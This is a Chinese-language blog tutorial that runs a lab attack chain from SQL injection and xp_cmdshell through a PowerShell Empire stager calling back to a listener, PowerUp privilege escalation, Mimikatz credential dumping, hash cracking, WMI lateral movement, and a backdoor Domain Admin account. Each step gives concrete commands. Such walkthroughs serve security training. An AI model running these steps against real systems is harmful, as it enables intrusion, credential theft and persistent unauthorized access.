记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

SQLi、权限提升和PowerShell Empire

2016-11-14 20:30

介绍

为演示一些非常基本的SQL注入(SQLi)以及如何利用PowerShell Empire进行权限提升,我建立了一个小实验室。 演示将以网络上的未经身份验证的用户启动,并以目标Active Directory域的完全管理权限结束。

演示视频:

工具

演示中使用到的工具:

实验室设置

实验室包括以下服务器:

  • 域控制器 – Windows Server 2012 R2
  • Web服务器 – Windows Server 2008 R2
  • SQL Server (SQL Express 2014) – Windows Server 2012 R2
  • Kali – Rolling Release

nmap发现

演示视频:

在开始的时候,我比较倾向于使用nmap的ping扫描,这是个方式可以简单快速的查看存活的主机。执行ping扫描按以下操作:

nmap -sP 192.168.0/24

这将迅速返回主机列表,形成一个列表来完成一个完整的端口扫描是理想的。 对于演示,我选择了常用的端口以缩短扫描时间。 如果你要做一个完整的扫描,你可以运行以下命令;

nmap -v -sSV -O -p- -Pn -oA results -iL ips_list

让我们分解上面的命令:

  • -v increases the verbosity
  • -sSV is a SYN scan with versioning
  • -O enables OS detection
  • -p- scans all ports
  • -Pn tells nmap not to ping
  • -oA outputs the results in 3 file types these are standard, grepable, and xml
  • -iL is a file containing a list of IPs to scan

完成namap扫描后,你将对整个环境有了大概的了解。我一般通过检查每个端口都运行什么服务,然后查找已经公布的漏洞。

SQL Injection

演示视频:

我部署了一个存在漏洞的网站,以方便我演示SQLi,源代码可在我的GitHub SQL Injection Example文件夹中获取。在演示中,nmap扫描检测到了Web服务,我访问该页面发现它不需要身份验证,并且容易受到SQLi的攻击。

我从一个非常基本的例子开始:

17a7-tmp

让我们解析以下,应用程序的代码如下:

ce7e-tmp

可以看到开发人员没有进行过滤或者没有使用参数化查询。 这意味着我们在搜索框中输入的任何内容都将附加到执行语句。

现在,如果我们回到第一个例子使用的代码,最终的结果将是这个:

f8e2-tmp

正如你可以看到,现在将返回所有记录,因为99等于99。结束的注释 –停止任何其他查询添加到我们的查询语句。

例如,如果在where语句中有一个额外的子句,则会导致语法错误,在末尾添加注释可确保只执行我们的查询语句。还要注意,我在这种情况下放了一个字母t,这是为了停止代码截断我在查询结束的空格符,为了使注释工作,需要一个空格或在–后添加一个2。

然后演示会展示UNION语句以及如何附加数据,视频中给出的示例如下:

9b8a-tmp

在这个例子中,我们只添加了自己输入的数据,但是如果有另外一个以users命名的表,我们可以使用下面的方法输出该表中的数据:

293c-tmp

最后,我开始使用xp_cmdshell函数执行PowerShell Empire stager,首先需要通过命令(EXEC sp_configure’show advanced options’,1 – t)启用高级选项 。启用高级选项后,我可以启用xp_cmdshell; EXEC sp_configure’xp_cmdshell’,1 – t。如果你注意到上面的命令我使用分号; 允许堆栈SQL查询意味着我能够单独运行每个查询。

我也稍微介绍了sqlmap,在演示中我展示了sqlmap向导以及它是多么容易从一个易受攻击的网页检索数据。

这只是SQLi的表面,它是一个非常广泛的主题,有关进一步阅读,请参阅OWASP SQL Injection页面

PowerShell Empire

演示视频:

由于启用了xp_cmdshell,我现在可以在SQL框上运行shell命令,所以现在让我们看看在框上获得一个Empire代理。 我执行以下命令:

8e66-tmp

这现在将在SQL框上启动一个代理,准备好与Empire一起使用。

监听

我没有在演示中显示设置listener,但它是一个发出命令listeners,然后设置主机set Host  http://192.168.1.200:8000,一旦设置的情况,然后就可以告诉listeners发出运行命令。

listener可以使用SSL证书来加密Empire和代理之间的通信。如果需要的话,您还可以运行多个listener。

Stager和代理

他们是Empire的多个stager,在演示中我使用了标准的launcher。通过以下命令来完成:

usestager launcher  
set Listener main

这将设置启动器使用主监听器,默认情况下监听器被称为test。

然后,您可以通过发出命令execute来捕获要运行的命令。 这将在你的目标框运行PowerShell命令。

我们现在有一个代理在框上运行,我们可以按照我们的喜好执行命令。在这一点上,最好搜索可能我们感兴趣的文档,例如留有密码文本文件等。

您可以通过发出agents命令与代理进行交互,可以根据需要下载并浏览文件系统。例如shell whoami将返回当前登录的用户,任何命令都需加上shell前缀。 还可以导入PowerShell脚本并执行它们。

在Empire中,你可以通过发出命令列表代理列出你的代理。

PowerUp模块

演示视频:

在搜索感兴趣的文档或信息后,你可能得不到有用的内容,因此需要转到PowerUp模块以查看是否可以提升权限。

首先,我们执行命令usemodule privesc/powerup/allchecks开始使用模块。然后我们通过发出命令集Agent ABCDEF123456789设置代理,最后通过run命令启动模块。

如前所述,将不显示输出,您将需要与代理交互来查看结果,或者使用tail -f日志文件读取日志文件,日志文件位于Empire目录中的下载文件夹中。

在视频中的这一点上,我们刚刚运行所有检查,并确定VMTools服务容易进行权限提升。 所以我们现在需要使用这个脆弱的服务升级到SYSTEM权限。

PowerUp Service Stager模块

我们现在切换到usemodule privesc/powerup/service_stager模块,并执行以下命令:

set Agent ABCDEF123456789  
set Listener main  
set ServiceName VMTools  
run

现在用stager launcher替换服务可执行路径并在框上执行SYSTEM级代理。 服务执行成功后,代理存储器将恢复原始可执行路径。

这将留下说明VMTools服务停止和启动的详细事件日志。

Mimikatz模块

演示视频:

现在我们在服务器上拥有系统级权限,现在可以使用Mimikatz并使用WDigest转储凭据。

Mimikatz的可执行文件被杀软广泛检测,因此很难访问服务器。通过 PowerShell Empire使Invoke-Mimikatz.ps1在内存中运行,因为PowerShell是一个受信任的应用程序,脚本运行将不被检测。

要使用和执行此模块,您可以通过两种方式,一个是演示视频中演示的方式,也可以与在服务器上具有管理权限的代理进行交互,并发出mimikatz命令。

要使用模块,我们只需执行use credentials/mimikatz/logonpasswords命令,然后运行以下命令:

set Agent ABCDEF123456789  
execute

现在将在输入框上转储凭据,在我们的情况下,我们没有得到任何明确的文本密码返回,所以我们现在需要尝试破解密码。 使用NTLM hash,我们还可以使用一个称为pass的哈希方法,该方法节省了破解密码。这可以用于例如metasploit使用PSExec通过哈希模块获得一个远程框上的shell。

密码破解

演示视频:

在视频中我们使用john(John the Ripper)这一工具,帮助我们破解密码Password1 $,我个人比较喜欢使用hashcat,但没有fiddling与VM的配置,我不能在我的Kali VM上运行hashcat 。

为了尝试破解哈希,我们首先将它存储在一个名为admin_hash的文件中,然后执行命令尝试破解它:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT admin_hash

在演示视频中,显示密码失败了,在录制视频前我曾测试过,它拒绝从它的pot文件显示破解密码。 但是如果john工作正常,它会破解密码,因为它是基于提供的字典文件。

使用hashcat或john,通过混淆使用一些很好的规则,会看到一个基于字典的密码,如r0cky0u2016!将加速密码的破解。通过78bdd374a1c5a25e389ac7b530a0a5e4来测试破解的效果。

上述密码被输入到hashcat,并在大约10秒内被d3adhob0.rule破解。 我使用的命令是;

hashcat -m1000 -a0 -r ./rules/d3adhob0.rule 78BDD374A1C5A25E389AC7B530A0A5E4 ./wordlists/rockyou.txt

横向渗透

演示视频:

我们现在有一个管理密码,首先,我们需要摆脱SQL服务器,并获得立足点加入到域上的更多服务器。

当您拥有管理凭据并且不确定允许访问哪些服务器时,此技术非常适用。 这种方式的动静比较大,可能会引起网络监控的注意,但效果却非常明显。

Empire中有几个模块是用于横向渗透的,个人比较喜欢PowerShell远程,但发现很多环境没有启用它。 所以我倾向于选择传统的WMI模块,因为WMI被启用的可能性更大。

我们可以这样使用WMI模块,如果他们没有设置模块作为代理当前用户运行,凭证则是可选的:

usemodule lateral_movement/invoke_wmi  
set Listener main  
set ComputerName 192.168.1.1,192.168.1.20  
set UserName DEMO\Administrator  
set Password Password1$  
execute

现在将连接到以逗号分隔的列表中的每个服务器,并在持有管理权限时部署代理。

持久后门

演示视频:

我们现在在域的每个服务器上都有一个代理,包括域控制器。 下一步是创建一个管理帐户以保持对域的持久访问。

在视频中,你会看到我简要解释模块persistence/misc/add_netuser,回退到shell命令,以获取帐户创建。

要创建新“域管理”,我们可以使用shell命令运行2个命令,与使用管理员帐户的代理进行交互时,我们执行命令:

shell net user backdoor Password1! /ADD /DOMAIN  
shell net group "Domain Admins" backdoor /ADD /DOMAIN

你现在已经拥有一个“域管理”帐户,可以在需要时随意访问该域。

结语

感谢您阅读一直到底部,希望你学到了一些新的东西。 发现任何问题,请与我联系。

未经允许不得转载: » SQLi、权限提升和PowerShell Empire

知识来源: www.mottoin.com/91825.html

阅读:321996 | 评论:0 | 标签:Web安全 Empire Kali mimikatz nmap powershell PowerUp sql injec

想收藏或者和大家分享这篇好文章→复制链接地址

“SQLi、权限提升和PowerShell Empire”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云